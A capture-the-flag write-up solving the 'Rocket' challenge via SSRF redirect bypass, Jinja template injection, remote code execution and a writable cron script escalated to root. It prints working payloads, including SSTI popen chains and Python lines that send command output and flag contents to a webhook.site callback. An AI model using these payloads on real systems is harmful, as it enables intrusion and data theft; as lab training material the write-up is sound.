← Back to writeups

Rocket - full solve notes

Solved this on Cyber-EDU and wrote everything down while doing it. Chain was: SSRF bypass → internal service pop → SSTI → RCE → root privesc. Kept this page detailed so you can reproduce it end-to-end.

Platform profile: Cyber-EDU user page

  1. Challenge Information
  2. Recon on Public Service
  3. SSRF Bypass to Reach Internal Blog
  4. Internal Blog Exploitation (SSTI)
  5. From SSTI to Reliable RCE
  6. Privilege Escalation to Root
  7. Flag Extraction
  8. Security Lessons

1. Challenge Information

Title: Rocket
Description hint: something obvious, likely in a screenshot-oriented flow.
Public target: http://34.40.48.76:31116

The front page was a screenshot API: user gives a URL, app captures and returns an image preview. This pattern is a common SSRF surface.

2. Recon on Public Service

Initial request:

curl -i http://34.40.48.76:31116/

The returned HTML leaked two useful details:

That is a giant signal: compromise likely involves the internal blog service.

3. SSRF Bypass to Reach Internal Blog

Direct input like http://127.0.0.1:4000 or http://blog:4000 was blocked by the screenshot service with Blocked: internal address.

The bypass was to pass validation with an external URL that issues a redirect to internal target. Example:

https://httpbin.org/redirect-to?url=http://127.0.0.1:4000

The app validated only the initial URL, then the headless browser followed redirect and loaded internal blog.

SSRF filter weakness: checking only first-hop destination is insufficient when redirects are allowed.

4. Internal Blog Exploitation (SSTI)

Internal blog was a Flask app with one post and a comment box. Since we only had browser-based access via screenshots, we used a hosted HTML page with JS auto-submit to issue POST requests into internal blog.

<script>
const f = document.createElement('form');
f.method = 'POST';
f.action = 'http://127.0.0.1:4000/';
const i = document.createElement('input');
i.name = 'comment';
i.value = '{{7*7}}';
f.appendChild(i);
document.body.appendChild(f);
f.submit();
</script>

Rendering later showed evaluated result 49, confirming Server-Side Template Injection.

Exfiltrated source confirmed the vulnerable line:

# vulnerable
rendered = render_template_string(comment)
comments.append(rendered)

And comments were output as safe HTML ({{ c|safe }}), enabling stored XSS side effects as well.

5. From SSTI to Reliable RCE

Standard Flask/Jinja object chain worked:

{{ cycler.__init__.__globals__.os.popen("id").read() }}

For robust out-of-band exfiltration, we used Python inside target container and posted results to webhook:

{{ cycler.__init__.__globals__.os.popen(
"python3 -c 'import urllib.request;urllib.request.urlopen(\"https://webhook.site/<token>\", data=b\"PING\")'"
).read() }}

Callback confirmed code execution as user blog.

6. Privilege Escalation to Root

Recon from RCE showed:

*/10 * * * * root /usr/sbin/logrotate -f /etc/logrotate.d/app

/etc/logrotate.d/app had a postrotate hook:

postrotate
    /usr/local/bin/cleanup.sh
endscript

Crucial misconfiguration: /usr/local/bin/cleanup.sh was writable by blog.

-rwxr-xr-x 1 blog blog 0 ... /usr/local/bin/cleanup.sh

So we replaced it with a root callback payload:

#!/bin/sh
python3 - <<'PY'
import urllib.request, subprocess
out = subprocess.getoutput('id; cat /flag.txt 2>&1')
urllib.request.urlopen('https://webhook.site/<token>', data=('CRON_FLAG\n'+out).encode())
PY

After waiting for next cron window, webhook received:

uid=0(root) gid=0(root) groups=0(root)
ctf{REDACTED_FOR_PUBLIC_WRITEUP}

7. Flag

Final flag:
ctf{REDACTED_FOR_PUBLIC_WRITEUP}

8. Security Lessons

  1. SSRF protections must validate full redirect chain and final resolved destination.
  2. Never render user input with render_template_string.
  3. Never output user-controlled HTML with |safe unless absolutely trusted and sanitized.
  4. Root cron + writable scripts is a direct privilege escalation vulnerability.
  5. Defense-in-depth matters: one bug should not unlock full host compromise.

Writeup by mitza (Tudor Mihai Alexandru).
More challenges: Cyber-EDU profile